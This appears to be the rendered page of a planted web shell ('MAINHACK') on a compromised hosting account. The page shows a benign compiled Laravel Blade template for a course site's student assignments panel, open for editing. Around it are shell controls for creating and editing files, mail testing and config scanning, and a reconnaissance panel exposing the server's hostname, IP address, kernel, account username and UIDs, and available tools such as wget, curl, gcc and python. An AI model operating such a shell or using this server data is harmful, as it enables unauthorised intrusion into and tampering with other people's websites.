[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: 625f244f2a2b7cd8f30f6f0dd44940aaa188681d.php
<?php $__env->startPush('styles_top'); ?> <link rel="stylesheet" href="/assets/default/vendors/daterangepicker/daterangepicker.min.css"> <?php $__env->stopPush(); ?> <?php $__env->startSection('content'); ?> <section> <h2 class="section-title"><?php echo e(trans('update.assignment_statistics')); ?></h2> <div class="activities-container mt-25 p-20 p-lg-35"> <div class="row"> <div class="col-3 d-flex align-items-center justify-content-center"> <div class="d-flex flex-column align-items-center text-center"> <img src="/assets/default/img/activity/homework.svg" width="64" height="64" alt=""> <strong class="font-30 font-weight-bold mt-5"><?php echo e($courseAssignmentsCount); ?></strong> <span class="font-16 text-dark-blue text-gray font-weight-500"><?php echo e(trans('update.course_assignments')); ?></span> </div> </div> <div class="col-3 d-flex align-items-center justify-content-center"> <div class="d-flex flex-column align-items-center text-center"> <img src="/assets/default/img/activity/58.svg" width="64" height="64" alt=""> <strong class="font-30 font-weight-bold mt-5"><?php echo e($pendingReviewCount); ?></strong> <span class="font-16 text-dark-blue text-gray font-weight-500"><?php echo e(trans('update.pending_review')); ?></span> </div> </div> <div class="col-3 d-flex align-items-center justify-content-center"> <div class="d-flex flex-column align-items-center text-center"> <img src="/assets/default/img/activity/45.svg" width="64" height="64" alt=""> <strong class="font-30 text-dark-blue font-weight-bold mt-5"><?php echo e($passedCount); ?></strong> <span class="font-16 text-gray font-weight-500"><?php echo e(trans('quiz.passed')); ?></span> </div> </div> <div class="col-3 d-flex align-items-center justify-content-center"> <div class="d-flex flex-column align-items-center text-center"> <img src="/assets/default/img/activity/pin.svg" width="64" height="64" alt=""> <strong class="font-30 text-dark-blue font-weight-bold mt-5"><?php echo e($failedCount); ?></strong> <span class="font-16 text-gray font-weight-500"><?php echo e(trans('quiz.failed')); ?></span> </div> </div> </div> </div> </section> <section class="mt-25"> <h2 class="section-title"><?php echo e(trans('update.filter_assignments')); ?></h2> <div class="panel-section-card py-20 px-25 mt-20"> <form action="/panel/assignments/my-assignments" method="get" class="row"> <div class="col-12 col-lg-4"> <div class="row"> <div class="col-12 col-md-6"> <div class="form-group"> <label class="input-label"><?php echo e(trans('public.from')); ?></label> <div class="input-group"> <div class="input-group-prepend"> <span class="input-group-text" id="dateInputGroupPrepend"> <i data-feather="calendar" width="18" height="18" class="text-white"></i> </span> </div> <input type="text" name="from" autocomplete="off" class="form-control <?php if(!empty(request()->get('from'))): ?> datepicker <?php else: ?> datefilter <?php endif; ?>" aria-describedby="dateInputGroupPrepend" value="<?php echo e(request()->get('from','')); ?>"/> </div> </div> </div> <div class="col-12 col-md-6"> <div class="form-group"> <label class="input-label"><?php echo e(trans('public.to')); ?></label> <div class="input-group"> <div class="input-group-prepend"> <span class="input-group-text" id="dateInputGroupPrepend"> <i data-feather="calendar" width="18" height="18" class="text-white"></i> </span> </div> <input type="text" name="to" autocomplete="off" class="form-control <?php if(!empty(request()->get('to'))): ?> datepicker <?php else: ?> datefilter <?php endif; ?>" aria-describedby="dateInputGroupPrepend" value="<?php echo e(request()->get('to','')); ?>"/> </div> </div> </div> </div> </div> <div class="col-12 col-lg-6"> <div class="row"> <div class="col-12 col-lg-8"> <div class="form-group"> <label class="input-label"><?php echo e(trans('product.course')); ?></label> <select name="webinar_id" class="form-control select2"> <option value=""><?php echo e(trans('webinars.all_courses')); ?></option> <?php $__currentLoopData = $webinars; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $webinar): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?> <option value="<?php echo e($webinar->id); ?>" <?php if(request()->get('webinar_id') == $webinar->id): ?> selected <?php endif; ?>><?php echo e($webinar->title); ?></option> <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?> </select> </div> </div> <div class="col-12 col-lg-4"> <div class="form-group"> <label class="input-label"><?php echo e(trans('public.status')); ?></label> <select class="form-control" id="status" name="status"> <option value=""><?php echo e(trans('public.all')); ?></option> <?php $__currentLoopData = \App\Models\WebinarAssignmentHistory::$assignmentHistoryStatus; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $status): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?> <option value="<?php echo e($status); ?>" <?php echo e((request()->get('status') == $status) ? 'selected' : ''); ?>><?php echo e(trans('update.assignment_history_status_'.$status)); ?></option> <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?> </select> </div> </div> </div> </div> <div class="col-12 col-lg-2 d-flex align-items-center justify-content-end"> <button type="submit" class="btn btn-sm btn-primary w-100 mt-2"><?php echo e(trans('public.show_results')); ?></button> </div> </form> </div> </section> <section class="mt-35"> <div class="d-flex align-items-start align-items-md-center justify-content-between flex-column flex-md-row"> <h2 class="section-title"><?php echo e(trans('update.my_assignments')); ?></h2> </div> <?php if($assignments->count() > 0): ?> <div class="panel-section-card py-20 px-25 mt-20"> <div class="row"> <div class="col-12 "> <div class="table-responsive"> <table class="table text-center custom-table"> <thead> <tr> <th><?php echo e(trans('update.title_and_course')); ?></th> <th class="text-center"><?php echo e(trans('update.deadline')); ?></th> <th class="text-center"><?php echo e(trans('update.first_submission')); ?></th> <th class="text-center"><?php echo e(trans('update.last_submission')); ?></th> <th class="text-center"><?php echo e(trans('update.attempts')); ?></th> <th class="text-center"><?php echo e(trans('quiz.grade')); ?></th> <th class="text-center"><?php echo e(trans('update.pass_grade')); ?></th> <th class="text-center"><?php echo e(trans('public.status')); ?></th> <th></th> </tr> </thead> <tbody> <?php $__currentLoopData = $assignments; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $assignment): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?> <tr> <td class="text-left"> <span class="d-block font-16 font-weight-500 text-dark-blue"><?php echo e($assignment->title); ?></span> <span class="d-block font-12 font-weight-500 text-gray"><?php echo e($assignment->webinar->title); ?></span> </td> <td class="align-middle"> <span class="font-weight-500"><?php echo e(!empty($assignment->deadline) ? dateTimeFormat($assignment->deadlineTime, 'j M Y') : '-'); ?></span> </td> <td class="align-middle"> <span class="font-weight-500"><?php echo e(!empty($assignment->first_submission) ? dateTimeFormat($assignment->first_submission, 'j M Y | H:i') : '-'); ?></span> </td> <td class="align-middle"> <span class="font-weight-500"><?php echo e(!empty($assignment->last_submission) ? dateTimeFormat($assignment->last_submission, 'j M Y | H:i') : '-'); ?></span> </td> <td class="align-middle"> <span class="font-weight-500"><?php echo e(!empty($assignment->attempts) ? "{$assignment->usedAttemptsCount}/{$assignment->attempts}" : '-'); ?></span> </td> <td class="align-middle"> <span><?php echo e((!empty($assignment->assignmentHistory) and !empty($assignment->assignmentHistory->grade)) ? $assignment->assignmentHistory->grade : '-'); ?></span> </td> <td class="align-middle"> <span><?php echo e($assignment->pass_grade); ?></span> </td> <td class="align-middle"> <?php if(empty($assignment->assignmentHistory) or ($assignment->assignmentHistory->status == \App\Models\WebinarAssignmentHistory::$notSubmitted)): ?> <span class="text-danger font-weight-500"><?php echo e(trans('update.assignment_history_status_not_submitted')); ?></span> <?php else: ?> <?php switch($assignment->assignmentHistory->status): case (\App\Models\WebinarAssignmentHistory::$passed): ?> <span class="text-primary font-weight-500"><?php echo e(trans('quiz.passed')); ?></span> <?php break; ?> <?php case (\App\Models\WebinarAssignmentHistory::$pending): ?> <span class="text-warning font-weight-500"><?php echo e(trans('public.pending')); ?></span> <?php break; ?> <?php case (\App\Models\WebinarAssignmentHistory::$notPassed): ?> <span class="font-weight-500 text-danger"><?php echo e(trans('quiz.failed')); ?></span> <?php break; ?> <?php endswitch; ?> <?php endif; ?> </td> <td class="align-middle text-right"> <div class="btn-group dropdown table-actions"> <button type="button" class="btn-transparent dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> <i data-feather="more-vertical" height="20"></i> </button> <div class="dropdown-menu menu-lg"> <?php if($assignment->webinar->checkUserHasBought()): ?> <a href="<?php echo e("{$assignment->webinar->getLearningPageUrl()}?type=assignment&item={$assignment->id}"); ?>" target="_blank" class="webinar-actions d-block mt-10 font-weight-normal"><?php echo e(trans('update.view_assignment')); ?></a> <?php else: ?> <a href="#!" class="not-access-toast webinar-actions d-block mt-10 font-weight-normal"><?php echo e(trans('update.view_assignment')); ?></a> <?php endif; ?> </div> </div> </td> </tr> <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?> </tbody> </table> </div> </div> </div> </div> <div class="my-30"> <?php echo e($assignments->appends(request()->input())->links('vendor.pagination.panel')); ?> </div> <?php else: ?> <?php echo $__env->make(getTemplate() . '.includes.no-result',[ 'file_name' => 'meeting.png', 'title' => trans('update.my_assignments_no_result'), 'hint' => nl2br(trans('update.my_assignments_no_result_hint_student')), ], \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?> <?php endif; ?> </section> <?php $__env->stopSection(); ?> <?php $__env->startPush('scripts_bottom'); ?> <script> var notAccessToastTitleLang = '<?php echo e(trans('public.not_access_toast_lang')); ?>'; var notAccessToastMsgLang = '<?php echo e(trans('public.not_access_toast_msg_lang')); ?>'; </script> <script src="/assets/default/vendors/daterangepicker/daterangepicker.min.js"></script> <script src="/assets/default/js/panel/my_assignments.min.js"></script> <?php $__env->stopPush(); ?> <?php echo $__env->make(getTemplate() .'.panel.layouts.panel_layout', \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?><?php /**PATH /home/aoneqssk/public_html/resources/views/web/default/panel/assignments/my-assignments.blade.php ENDPATH**/ ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285